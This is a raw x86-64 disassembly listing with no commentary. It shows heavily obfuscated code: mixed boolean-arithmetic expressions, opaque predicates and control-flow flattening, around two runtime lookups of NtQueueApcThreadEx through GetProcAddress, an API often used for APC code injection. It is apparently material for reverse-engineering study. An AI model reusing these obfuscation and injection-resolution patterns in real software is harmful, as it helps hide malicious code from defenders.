not edx
or edx, ecx
and edi, 0xfafd1ac3
and ebp, 0x502e53c
or ebp, edi
mov eax, ebp
xor eax, 0x434
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x4f16f149
and edx, 0xb0e90eb6
or edx, ebx
xor ebp, 0x4a141041
and ebp, 0x4f16f149
and eax, 0xb0e90eb6
or eax, ebp
xor eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne r9b
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl r11b
mov edx, r11d
xor dl, r9b
mov eax, edx
xor al, r10b
and al, dl
and cl, r10b
and r11b, r9b
or r11b, cl
mov r8d, eax
xor r8b, 1
mov edx, r11d
xor dl, 1
mov ecx, eax
and cl, r8b
mov ebx, r11d
and bl, dl
mov r9d, ecx
and r9b, al
xor cl, al
or cl, r9b
mov eax, ebx
and al, r11b
xor bl, r11b
or bl, al
xor bl, cl
mov eax, r8d
and al, dl
xor dl, r8b
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xded3508d
cmovne eax, r13d
test dl, dl
mov ecx, 0xded3508d
cmovne ecx, eax
test bl, 1
jmp 0x140140dec
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x50d4f095
and edx, 0xaf2b0f6a
or edx, ecx
mov ebp, edx
xor ebp, 0xaf2b0f6a
xor edx, 0x50d4f094
mov ecx, ebp
and ecx, 0xfffffffe
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0xc6ad29ae
and edx, ebp
not ebp
and ebp, 0xf06211f0
and ecx, 0xf9dee0f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x85000c
xor ecx, 0xc02001a0
or ecx, 0x3952d651
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x666878a2
and ebp, 0x8085010c
or ebp, edi
or ecx, ebx
and ebx, 0x666878a2
and edx, 0x9997875d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x395dd234
and ecx, 0xc6a22dcb
or ecx, edx
mov edx, ecx
xor edx, 0xd0005
xor ecx, 0xfff0fb9a
mov ebp, ecx
and ebp, 0xde729e60
and edx, 0x218d619f
or edx, ebp
xor edx, 0x218d619f
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov edx, r10d
xor dl, r9b
and dl, r10b
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov r11d, edx
xor r11b, 1
mov ebx, edx
and bl, r11b
mov eax, ebx
xor al, 1
xor bl, dl
or al, r11b
xor al, 1
or al, bl
mov edx, eax
and dl, r8b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
xor dl, r9b
and dl, cl
and r10b, r8b
and cl, r9b
or cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x5bbf8bef
mov edx, 0x81157efe
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
test bl, bl
jmp 0x140140dec
mov ecx, 0x3c872614
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x4a2d7b7e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x9eee9600
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0xddd8dfea
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x6783512e
and ecx, 0x987caed1
or ecx, eax
mov edx, ecx
xor edx, 0x8850a0d0
xor ecx, 0x6301100e
and ecx, 0x732d1e0f
and edx, 0x8cd2e1f0
or edx, ecx
mov ecx, edx
xor ecx, 0x732d1e0f
mov ebp, edx
xor ebp, 0x732d1e0e
and ebp, ecx
xor edx, 0x4c28010
and edx, 0x36e39211
and ecx, 0xc91c6dee
or ecx, edx
mov edx, ecx
xor edx, 0x810c2c8d
mov eax, ebp
not eax
xor ecx, 0x36e39210
mov ebx, eax
and ebx, 0x68505172
and ebp, 0x97afae8d
or ebp, ebx
or eax, ecx
and ecx, 0x68505172
and edx, 0x97afae8d
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x606531da
and ecx, 0x9f9ace25
or ecx, eax
mov eax, ecx
xor eax, 0x8090ce21
xor ecx, 0x13052
and ecx, 0x1f0b3056
and eax, 0xe0f4cfa9
or eax, ecx
mov ecx, eax
xor ecx, 0xb032052
xor eax, 0x60f40e29
and eax, 0x74fc1e2d
and ecx, 0x8b03e1d2
or ecx, eax
xor ecx, 0x8b03e1d2
setne al
cmp dword [0x1402656e4], 9
setg dl
mov ebx, edx
xor bl, al
and dl, al
or dl, bl
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov eax, 0x8eaf7d6e
mov ebp, 0x2cf4afd2
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x8eaf7d6e
cmovne ecx, ebp
test dl, dl
cmovne ecx, eax
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x1402656e8]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xa1b3bf6a
and ecx, ebp
and ebp, 0x5e4c4095
or ebp, edx
xor ebp, 0x5e4c4095
mov edx, ebp
and edx, ecx
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
mov edx, ebp
xor edx, 0x3dcfeff8
mov ebx, edx
and ebx, ecx
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xec48d2c5
and edx, 0x13b72d3a
or edx, ebx
xor edx, 0x2e78c2c3
and ebp, 0x16eff170
mov ebx, ecx
and ebx, 0xe9100e8f
or ebx, ebp
xor ebx, 0x16eff171
and ecx, 1
or ecx, ebx
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x8d0cb72d
and ecx, 0x72f348d2
or ecx, edx
mov ebx, ecx
xor ebx, 0x22204002
xor ecx, 0x81008601
or ebp, 0xb320c707
mov edx, ebp
not edx
or ecx, 0x4c043858
and ecx, 0xdd04be59
and ebx, 0x22204106
or ebx, ecx
and ebp, 0xdd04be59
and edx, 0xdb00a0
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x4cdf38f8
and edx, 0xb320c707
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x52fdcfda
and edx, 0xad023025
or edx, ecx
xor edx, 0xad023025
cmp edx, 0xffffffff
setne r8b
sete dl
cmp dword [0x1402656e4], 0xa
setl cl
or dl, cl
xor dl, 1
xor r8b, cl
mov ecx, r8d
xor cl, 1
or dl, cl
and cl, dl
xor dl, 1
mov ebx, edx
xor bl, r8b
and bl, dl
and dl, r8b
or dl, cl
mov ecx, ebx
xor cl, dl
test cl, 1
mov ebp, 0x814e6c28
mov edi, 0xa3bf522
cmovne ebp, edi
test dl, dl
mov ecx, ebp
cmovne ecx, edi
mov qword [rsp + 0x38], rax
test bl, bl
jmp 0x14013ee2d
mov ecx, 0x3754c292
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0xb1948631
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xb77c800f
and ebx, 0x48837ff0
or ebx, edi
or ecx, ebp
and ebp, 0xb77c800f
and edx, 0x48837ff0
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xbb1b3e9
and edx, 0xf44e4c16
or edx, ecx
xor edx, 0xf44e4c16
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov r11d, eax
xor r11b, cl
or r11b, bl
mov r10d, r11d
xor r10b, 1
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, r10d
and bl, r11b
mov edx, ecx
and dl, al
mov r8d, ebx
and r8b, r10b
xor bl, r10b
or bl, r8b
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, bl
xor al, r11b
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf0bcf5b8
mov ebp, 0x7996d4bb
cmovne eax, ebp
test cl, 1
mov ecx, 0xf0bcf5b8
jmp 0x140140de6
mov ecx, 0x9413af42
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x35915fd0
and ecx, 0xca6ea02f
or ecx, edx
and ebp, 0x35915fd0
and eax, 0xca6ea02f
or eax, ebp
xor eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r8b
setne r10b
cmp dword [0x1402656e4], 9
setg cl
mov edx, ecx
and dl, r10b
xor r10b, cl
or r10b, dl
mov r9d, r10d
xor r9b, 1
mov edx, ecx
xor dl, r8b
not dl
and dl, r8b
or cl, r8b
mov ebx, ecx
xor bl, dl
xor dl, 1
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, r9d
and bl, r10b
mov eax, edx
and al, cl
mov r8d, ebx
and r8b, r9b
xor bl, r9b
or bl, r8b
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
and al, bl
or al, dl
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x5b31577c
mov ebp, 0xdfc88877
cmovne edx, ebp
test cl, 1
mov ecx, 0x5b31577c
cmovne ecx, edx
test al, 1
cmove ecx, edx
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x8b1d47e6
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x6043576c
and ecx, 0x9fbca893
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1b106edf
and ecx, 0xe4ef9120
or ecx, edx
mov edx, ecx
xor edx, 0x84acc64c
mov ebp, ecx
xor ebp, 0x6b501912
and ebp, 0x6b549952
xor ecx, 0x9c78b327
and ecx, edx
and edx, 0x94ab66ad
or edx, ebp
mov ebp, edx
xor ebp, 0x94ab66ad
mov edi, edx
xor edi, 0x7380ec39
and edi, ebp
mov ebx, edi
not ebx
mov esi, ecx
not esi
mov eax, ebx
and eax, 0xfb5abb07
and edi, 0x4a544f8
or edi, eax
or ebx, esi
and esi, 0xfb5abb07
and ecx, 0x4a544f8
or ecx, esi
xor ecx, edi
not ebx
or ebx, ecx
mov eax, ebx
not eax
and eax, 0x641444cf
and ebx, 0x9bebbb30
or ebx, eax
xor ebx, 0x833fce5a
and ebp, 1
xor edx, 0x94ab66ac
or edx, ebp
not edx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
xor eax, 0xe1aea2d2
and eax, edx
not edx
and edx, 0xe1aea2d2
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x1de1ae4b
and eax, 0xe21e51b4
or eax, ecx
xor eax, 0x3b0f366
setne r9b
sete cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
and cl, dl
and bl, r9b
or bl, cl
mov ecx, edx
xor cl, r9b
or dl, r9b
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, eax
and cl, dl
xor dl, al
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xafa752bc
mov ebp, 0x413e2e51
cmovne eax, ebp
test cl, 1
mov ecx, 0xafa752bc
cmovne ecx, eax
test dl, 1
cmove ecx, eax
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov rax, qword [rsp + 0x38]
mov qword [0x1402650a0], rax
mov ecx, 0x66ec5996
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x14025b48
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401b9360
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret